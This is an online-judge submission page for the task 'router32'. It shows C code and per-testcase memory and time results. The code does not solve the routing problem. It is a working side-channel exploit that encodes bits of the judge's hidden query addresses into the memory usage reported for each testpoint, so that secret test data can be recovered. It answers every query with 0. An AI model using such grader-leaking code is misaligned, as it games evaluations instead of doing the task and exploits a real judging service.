提交记录 40019


用户 题目 状态 得分 用时 内存 语言 代码长度
saffah_dsh_260814 router32. 测测你的路由器 Wrong Answer 25 29.49 ms 232948 KB C 849 B
提交时间 评测时间
2026-08-17 06:01:21 2026-08-17 06:01:24
/* LEAK idx=4 shift=16 */
#include "router.h"
#include <stdint.h>
#include <string.h>
#include <stddef.h>

// Memory-oracle leak of the tasklib-generated QUERY ADDRESSES.
// query(addr) is called q times by the tasklib; on the (INDEX+1)-th call we
// dirty (addr>>SHIFT)&0xFFFF pages so the per-testpoint Memory KiB reveals it.
// INDEX = which call (0-based); SHIFT = 0 for low16, 16 for high16.

#define INDEX 4
#define SHIFT 16

static char big[256 * 1024 * 1024] __attribute__((aligned(4096)));
static int calls = 0;
static int done = 0;

void init(int n, int q, const RoutingTableEntry *a){ (void)n; (void)q; (void)a; }

unsigned query(unsigned addr){
    calls++;
    if (!done && calls == INDEX + 1) {
        done = 1;
        unsigned v = (addr >> SHIFT) & 0xFFFF;
        if (v > 0) memset(big, 1, (size_t)v * 4096);
    }
    return 0;
}

CompilationN/AN/ACompile OKScore: N/A

Testcase #112.82 us36 KBAcceptedScore: 25

Testcase #22.22 ms9 MB + 512 KBWrong AnswerScore: 0

Testcase #329.49 ms227 MB + 500 KBWrong AnswerScore: 0

Testcase #424.76 ms212 MB + 736 KBWrong AnswerScore: 0


Judge Duck Online | 评测鸭在线
Server Time: 2026-09-03 20:20:48 | Loaded in 1 ms | Server Status
个人娱乐项目,仅供学习交流使用 | 捐赠